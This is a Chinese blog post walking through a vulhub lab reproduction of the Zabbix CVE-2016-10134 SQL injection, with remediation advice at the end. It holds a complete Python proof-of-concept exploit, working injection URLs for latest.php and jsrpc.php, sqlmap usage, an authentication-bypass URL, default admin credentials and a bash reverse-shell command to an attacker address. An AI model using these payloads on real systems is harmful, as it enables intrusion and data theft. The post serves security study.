[ vulhub漏洞复现篇 ] zabbix SQL注入漏洞 (CVE-2016-10134)

本文详细介绍了Zabbix的CVE-2016-10134 SQL注入漏洞,包括漏洞描述、受影响版本、复现步骤和利用方式,如通过jsrpc.php和latest.php进行注入,以及X-ray渗透测试。同时,文章还涉及了漏洞修复建议,如禁用Guest账户和升级Zabbix版本。
摘要由CSDN通过智能技术生成

🍬 博主介绍

👨‍🎓 博主介绍:大家好,我是 _PowerShell ,很高兴认识大家~
✨主攻领域:【渗透领域】【数据通信】 【通讯安全】 【web安全】【面试分析】
🎉点赞➕评论➕收藏 == 养成习惯(一键三连)😋
🎉欢迎关注💗一起学习👍一起讨论⭐️一起进步📝文末有彩蛋
🙏作者水平有限,欢迎各位大佬指点,相互学习进步!

一、漏洞描述:

zabbix是一个基于WEB界面的提供分布式系统监视以及网络监视功能的企业级的开源解决方案。Zabbix 的latest.php中的toggle_ids[]或jsrpc.php种的profieldx2参数存在sql注入,通过sql注入获取管理员账户密码,进入后台,进行getshell操作。

二、受影响版本:

2.2.x
3.3.0-3.03

三、Zabbix指纹信息

 [
        {
            "match": "body_contains",
            "content": "images/general/zabbix.ico"
        }],
        [
        {
            "match": "header_contains",
            "content": "zbx_sessionid"
        }],
        [
        {
            "match": "body_contains",
            "content": "meta name=\"author\" content=\"zabbix sia\""
        },
        {
            "match": "banner_contains",
            "content": "linux zabbix-"
        }],
        [
        {
            "match": "banner_contains",
            "content": "zbx_sessionid"
        }]

四、基本原理:

sql注入:简单来说就是通过寻找注入点,进行sql语句拼接,欺骗服务器,获取想要的数据。
zabbix:由两部分构成,zabbix server与可选组件zabbix agent。
zabbix server可以通过SNMP,zabbix agent,ping,端口监视等方法提供对远程服务器/网络状态的监视,数据收集等功能。
zabbix agent需要安装在被监视的目标服务器上,它主要完成对硬件信息或与操作系统有关的内存,CPU等信息的收集

五、环境搭建

vluhub漏洞靶场搭建

vulhub环境是:Zabbix 3.0.3
切到CVE-2016-10134漏洞目录下

cd vulhub/zabbix/CVE-2016-10134 

在这里插入图片描述

创建CVE-2016-10134环境

docker-compose up -d

在这里插入图片描述

查看CVE-2016-10134环境

docker-compose ps

在这里插入图片描述

访问CVE-2016-10134环境

http://ip:8080

在这里插入图片描述
复现玩记得关闭环境:

docker-compose down

六、漏洞复现:

1. jsrpc.php

(看下文X-ray–>CVE-2016-10134-复现2)

2. latest.php

(看下文X-ray–>CVE-2016-10134-复现1)

3.POC验证

下面两条命令都可以使用

python3 CVE-2016-10134.py -t 127.0.0.1:8080
python3 CVE-2016-10134.py --target 127.0.0.1:8080

存在漏洞
直接得到了当前用户
在这里插入图片描述

4.POC

# -*- coding: utf-8 -*-
# @Time    : 2021/12/23
# @Author  : TesterCC

import json

from optparse import OptionParser

import re
import sys

from requests import session

# initialization
ret = dict()
ret['status'] = str()
ret['info'] = list()

ss = session()
ss.headers = {'Accept': '*/*', 'Accept-Encoding': 'gzip, deflate',
              'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36'}


# CVE-2016-10134  # python3 CVE-2016-10134.py --target 127.0.0.1:8080

def get_payload1(text) -> str:
    payload = re.search(r"\[(.*\))\]", text)
    return payload.group(1)


def get_sql_injection_info(text) -> str:
    sql_injection_info = re.search(r"<\/li><li>(.*)\'\]", text)
    return sql_injection_info.group(1)


def attack(target):
    '''login zabbix'''
    login_url = "http://{}/index.php".format(target)

    ret0 = ss.get(login_url)

    cookie_dict = {i.name: i.value for i in ret0.cookies}
    # get sid
    sid = cookie_dict.get('zbx_sessionid')[16:]

    data = {"sid": sid,
            "form_refresh": "1",
            "name": "",
            "passwrd": "",
            "enter": "Sign+in"}

    retn = ss.post(url=login_url, headers=ss.headers, data=data)
    if retn.status_code == 200:
        # updatexml(0,concat(0xa,database()),0)
        # updatexml(0,concat(0xa,version()),0)
        payload1 = f"http://{target}/latest.php?output=ajax&sid={sid}&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0)"

        retn2 = ss.get(url=payload1, headers=ss.headers)

        if retn2.status_code == 200:
            resp = {
                "payload": get_payload1(retn2.text),
                "info": get_sql_injection_info(retn2.text)
            }

            ret['status'] = 'success'
            ret['info'] = resp

    return ret


def main():
    usage = "Usage: python3 CVE-2016-10134.py --target <target ip:port>"
    parse = OptionParser(usage=usage)
    parse.add_option("-t", '--target', type="string", dest="target", help="server ip:port, e.g. 127.0.0.1:8080")

    options, args = parse.parse_args()

    if not options.target:
        ret['status'] = 'fail'
        ret['info'] = "target empty"
        print(usage)
        sys.exit()
    else:
        target = options.target

    try:
        attack(target)
    except Exception:
        ret['status'] = 'fail'

    print(json.dumps(ret))


if __name__ == '__main__':
    main()

七、x-ray渗透

1.使用X-ray监听

Xray监听

.\xray_ windows_ and64. exe webscan -listen 127.0. 0.1 :8888

在这里插入图片描述

火狐开启代理,与x-ray监听的端口相对应
在这里插入图片描述

访问网站http://192.168.13.131:8080
Xray就开始有产出了,产出我就不截图了。
我把产出信息copy到了下面进行分析

2.敏感信息泄露(服务器报错信息泄露)

[Vuln: baseline]
Target           "http://192.168.13.131:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,md5(2072517078)),0)"
VulnType         "sensitive/server-error"

直接访问所给链接

这条信息其实就是利用的CVE-2016-10134注入楼的那个

http://192.168.13.131:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,md5(2072517078)),0)

这句话就是MD5加密2072517078,输出只有31位,updatexml可以输出32为,但是前面娶了一个连接符所以只输出了31位
在这里插入图片描述
在这里插入图片描述

3.CVE-2016-10134

[Vuln: phantasm]
Target           "http://192.168.13.131:8080/"
VulnType         "poc-yaml-zabbix-cve-2016-10134-sqli/default"
links            ["https://github.com/vulhub/vulhub/tree/master/zabbix/CVE-2016-10134"]

查看links(参考链接)

在这里插入图片描述

发现是一个SQL注入漏洞

复现1(latest.php)

用guest账号(密码为空)登录游客账户

在这里插入图片描述

发现登录成功

在这里插入图片描述

复制Cookie中zbx_sessionid后16字节

登录后,查看Cookie中的zbx_sessionid,复制后16位字符:916444579b8e84f1
在这里插入图片描述

填充sid的值,可成功注入

将这16个字符作为sid的值,访问,可见成功注入:

查询数据库当前用户信息
http://192.168.13.131:8080/latest.php?output=ajax&sid=916444579b8e84f1&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(0,concat(0xa,user()),0)

在这里插入图片描述
在这里插入图片描述

查询数据库版本信息
http://192.168.13.131:8080/latest.php?output=ajax&sid=916444579b8e84f1&favobj=toggle&toggle_open_state=1&toggle_ids[]=updatexml(1,concat(0x7e,(SELECT@@version),0x7e),1)

在这里插入图片描述

Sqlmap自动化注入

burp抓到数据包,桌面新建txt,把数据写入txt。
在这里插入图片描述

python2 sqlmap.py -r C:\路径\新建文本文档.txt -p toggle_ids[]
-r 指定数据包文件
-p 指定注入字段

txt文件与sqlmap在同一目录下时不需要加路径,若不在则加绝对路径
在这里插入图片描述
在这里插入图片描述

Sqlmap的poc都可以用于手工验证

复现2(jsrpc.php)

》这个漏洞也可以通过jsrpc.php触发,且无需登录:

查询当前使用用户
http://192.168.13.131:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)

在这里插入图片描述

查询数据库版本
http://192.168.13.131:8080/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(1,concat(0x7e,(SELECT@@version),0x7e),1)

在这里插入图片描述

4.Zabbix 4.2 - Authentication Bypass登录绕过

[Vuln: phantasm]
Target           "http://192.168.13.131:8080/"
VulnType         "poc-yaml-zabbix-authentication-bypass/default"
links            ["https://www.exploit-db.com/exploits/47467"]

参看links(参考链接)

在这里插入图片描述

发现是登陆绕过

使用POC绕过登录

http://192.168.13.131:8080/zabbix.php?action=dashboard.view&dashboardid=1

在这里插入图片描述

5.存在默认密码

[Vuln: phantasm]
Target           "http://192.168.13.131:8080/"
VulnType         "poc-yaml-zabbix-default-password/default"
links            ["https://www.zabbix.com/documentation/3.4/zh/manual/quickstart/login"]

查看links(参考链接)

在这里插入图片描述

发现默认账号密码:
默认账号Admin
默认密码为zabbix
密码经过MD5加密后为5fce1b3e34b520afeffb37ce08c7cd66

使用默认账号密码,登陆成功

http://192.168.13.131:8080/index.php

在这里插入图片描述
在这里插入图片描述

6.暴力破解漏洞

[Vuln: brute-force]
Target           "http://192.168.13.131:8080/index.php"
VulnType         "form-brute/default"
from_url         "http://192.168.13.131:8080/"
username         map["field":"name" "value":"admin"]
passw0rd         map["field":"passw0rd" "value":"passw0rd01"]
由于CSDN检测不能出现passw0rd,所以这里的o我改成了0

没有防御暴力破解的措施,理论上来说是可以暴力破解账号密码的

八、getshell

1.环境

攻击机:windows本机:192.168.13.1
靶机:kali:192.168.13.131

2.在靶机上写入脚本

用上面管理员账户密码登入到后台(账户是Admin 密码zabbix)
登入之后点Administrator-script-creatscript,进行写入shell
在这里插入图片描述

bash -i >& /dev/tcp/192.168.13.1/55555 0>&1

3.攻击机监听:

在这里插入图片描述

4.靶机连接

找触发点,找到触发点才能执行。方法很多,这里拿常用的举例。
在这里插入图片描述

浏览器跳转,提示报错信息
在这里插入图片描述

5.Getshell失败

脚本一直无法执行,可能是zabbix环境存在问题
理论上来说脚本一直无法执行的,是可以getshell的
后续我会重新搭建zabbix环境进行getshell的复现,不选用vulhub环境试一下,如果可以getshell我将再出篇文章

九、漏洞修复:

禁用Guest账户,关闭无用账户。
打补丁,升级zabbix版本。

十、相应资源

zabbix SQL注入漏洞 (CVE-2016-10134)POC
原文下载

评论 32
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

_PowerShell

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值